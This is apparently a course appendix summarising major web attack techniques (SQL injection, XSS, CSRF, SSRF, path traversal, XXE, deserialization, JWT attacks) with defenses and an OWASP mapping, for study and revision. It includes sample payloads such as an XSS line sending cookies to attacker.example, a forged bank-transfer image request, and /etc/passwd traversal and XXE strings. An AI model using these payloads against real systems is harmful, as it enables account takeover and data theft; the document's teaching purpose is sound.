Appendix A. Web Hacking — A Complete Guide to Major Attack Techniques
- Target reader: Anyone who has completed Level 2 or higher (with hands-on web attack practice)
- Purpose: Exam prep summary, interview review, revision map
⚠️ All techniques in this appendix are for your own lab and legal platforms only (local practice environments, Natas, DVWA, HTB, etc.). Applying them to unauthorized systems is a crime under information and communications network laws and criminal law.
This appendix gathers all the web attacks you learned one by one in Level 2 and Level 3. Each technique is organized in the same order: definition → principle → attack flow → defense → related Steps. Skim just this appendix before an exam or interview, and the whole picture will come back to you.
A-0. The Web Attack Map at a Glance
| # | Technique | Target | One-line essence | Related Steps |
|---|---|---|---|---|
| 1 | SQL Injection | Database | Input becomes a query | Step 104, 120~ |
| 2 | XSS | Another user’s browser | Input becomes a script | Level 2 web part |
| 3 | CSRF | Logged-in session | The browser sends it for you | Level 2 web part |
| 4 | SSRF | Server’s internal network | The server requests it for you | Level 2~3 web part |
| 5 | File Upload | The web server itself | A file becomes code | Level 2 web part |
| 6 | Path Manipulation (LFI/Path Traversal) | Server filesystem | ../ opens the vault |
Level 2 web part |
| 7 | IDOR | Another user’s data | Just change the number and it shows | Level 2 web part |
| 8 | XXE | XML parser | An external entity reads files | Level 3 advanced web |
| 9 | Deserialization | Application objects | Data becomes execution flow | Level 3 advanced web |
| 10 | Authentication & Session Attacks | Login system | Steal the ticket and you’re them | Level 2~3 |
A-1. SQL Injection (SQLi)
Definition: An attack where user input flows directly into part of an SQL query, letting the attacker execute arbitrary queries against the database.
Principle: When a developer builds a query by concatenating strings like "... WHERE id = '" + input + "'", you can inject a fragment like ' OR '1'='1 to change the structure of the query itself. The key moment is when input stops being "data" and becomes "commands."
Attack flow:
- Insert
'into an input field to trigger an error and confirm the vulnerability exists - Attempt authentication bypass with
' OR '1'='1' -- - Exfiltrate data by appending columns from other tables to the results with
UNION SELECT - Use Blind SQLi (true/false responses, time delays) to extract data one character at a time even when results aren’t shown on screen
Defense: Prepared Statements (parameter binding) are the correct answer. When you separate the query structure from the data, no matter how malicious the input is, it’s only ever processed as data. Using an ORM, a least-privilege DB account, and hiding error messages are supplementary measures.
A-2. XSS (Cross-Site Scripting)
Definition: An attack where the attacker’s script executes in another user’s browser. The victim trusts the server, but the page the server sends has the attacker’s code mixed in.
Three types:
- Stored XSS: A malicious script is saved to the database and runs for everyone who reads the post (the most dangerous)
- Reflected XSS: A script in a URL parameter is reflected directly in the response. The victim has to click the link
- DOM-based XSS: The server response is fine, but the frontend JS inserts input into the DOM without validation
Attack flow: Using a payload like <script>document.location='https://attacker.example/steal?c='+document.cookie</script>, you steal the session cookie and log in to the victim’s account with it.
Defense: Output encoding (HTML escaping) is the baseline, HttpOnly cookies block JS access to cookies, and CSP (Content-Security-Policy) headers restrict script sources.
A-3. CSRF (Cross-Site Request Forgery)
Definition: When a victim who is logged in visits a malicious page, that page secretly sends requests to a legitimate site through the victim’s browser. It exploits the fact that browsers automatically attach cookies.
Attack flow: If a victim who is logged in to their bank opens the attacker’s page, a hidden <img src="https://bank.example/transfer?to=attacker&amount=1000000"> automatically sends a transfer request. From the bank server’s perspective, the cookie checks out, so it looks like a legitimate request.
Defense: CSRF tokens (verifying an unpredictable value on every request), the SameSite cookie attribute, and re-authentication for sensitive actions.
A-4. SSRF (Server-Side Request Forgery)
Definition: An attack that abuses features where the server fetches external URLs (image previews, webhooks, etc.) to make the server send requests to addresses of the attacker’s choosing.
Why it’s dangerous: The server sits inside the firewall, so it can reach internal networks (192.168.x.x, 127.0.0.1, the cloud metadata endpoint 169.254.169.254) that you can’t touch directly from the outside. In cloud environments, the classic scenario is stealing temporary credentials from the metadata server.
Defense: Allowlist-based URL validation, blocking internal IP ranges, and restricting access to the metadata endpoint (IMDSv2).
A-5. File Upload Vulnerabilities
Definition: An attack that uploads an executable file (a web shell) through a feature like profile photo upload, then runs commands on the server.
Bypass techniques: Double extensions (shell.php.jpg), forged Content-Type headers, percent encoding, and disguising files with image magic bytes. If the server only checks the extension, it’s game over.
Defense: Triple validation of extension + MIME + magic bytes, removing execute permission from the upload directory, randomizing filenames, and storing files outside the web root.
A-6. Path Manipulation (Path Traversal / LFI)
Definition: An attack that feeds ../../../../etc/passwd into a feature that accepts a filename, reading arbitrary files from the server. LFI (Local File Inclusion) goes one step further, including code planted in places like log files to achieve execution.
Defense: Validate filenames against a whitelist, or verify that the realpath result stays inside the allowed directory. The fundamental fix is never to use user input directly in a path.
A-7. IDOR (Insecure Direct Object Reference)
Definition: In /user/profile?id=1234, you change 1234 to 1235 — and see someone else’s information. It’s the simplest vulnerability, yet the one found most often in the real world. It’s a state where "authentication happened, but authorization (permission checks) didn’t."
Defense: Verify ownership on every object access. After asking "Are they logged in?", you must always ask "Does this data belong to this person?"
A-8. XXE (XML External Entity)
Definition: When an XML parser processes external entities, a declaration like <!ENTITY xxe SYSTEM "file:///etc/passwd"> lets the attacker read server files or send internal requests.
Defense: Disable external entity processing in the XML parser (disable DTDs). Many modern frameworks disable this by default, but always check legacy systems.
A-9. Insecure Deserialization
Definition: When serialized objects (Java, PHP, Python pickle, etc.) are deserialized without validation, an attacker-crafted object can lead to code execution. Magic methods like pickle’s __reduce__ are the classic execution path.
Defense: Avoid deserializing untrusted data altogether, and use data-only formats like JSON. If you must deserialize, verify a signature first.
A-10. Authentication & Session Attacks
Definition: Techniques that attack the login system itself.
- Session Hijacking: Stealing session cookies via XSS or network eavesdropping
- Cookie Tampering: When the server trusts cookie values without validation, change
role=usertorole=admin - JWT Attacks:
alg=nonebypass, brute-forcing weak secret keys, key confusion (RS256→HS256) - Brute Force / Credential Stuffing: With no login attempt limits, dictionary attacks take over accounts (see Appendix C)
Defense: Sufficient entropy in session IDs, login attempt limits and account lockout, strong JWT keys with pinned algorithms, and cookie security attributes (HttpOnly, Secure, SameSite).
A-11. Mapping to the OWASP Top 10
In real-world reports and interviews, conversations revolve around the OWASP Top 10 (2021) categories. Here’s where the techniques above fit.
| OWASP Category | Techniques from this appendix |
|---|---|
| A01 Broken Access Control | IDOR, Path Manipulation, some SSRF |
| A02 Cryptographic Failures | Weak session/cookie security settings |
| A03 Injection | SQLi, XSS, XXE |
| A04 Insecure Design | Design flaws like missing CSRF defenses |
| A05 Security Misconfiguration | Missing file upload validation, directory listing |
| A07 Identification and Authentication Failures | Authentication & session attacks, brute force |
| A08 Software and Data Integrity Failures | Deserialization |
Summary
Every web attack shares a single root cause: "input was trusted." A vulnerability is born at every moment input becomes a query (SQLi), a script (XSS), a path (LFI), or an object (deserialization). Defense converges on one idea too: treat input as data only, check permissions on every request, and design with failure in mind.
Hands-on practice for each technique is covered in Level 2 (Steps 96~175) and the Level 3 advanced web chapters, so use this appendix as a map — then go back to the main text and verify everything with your own hands.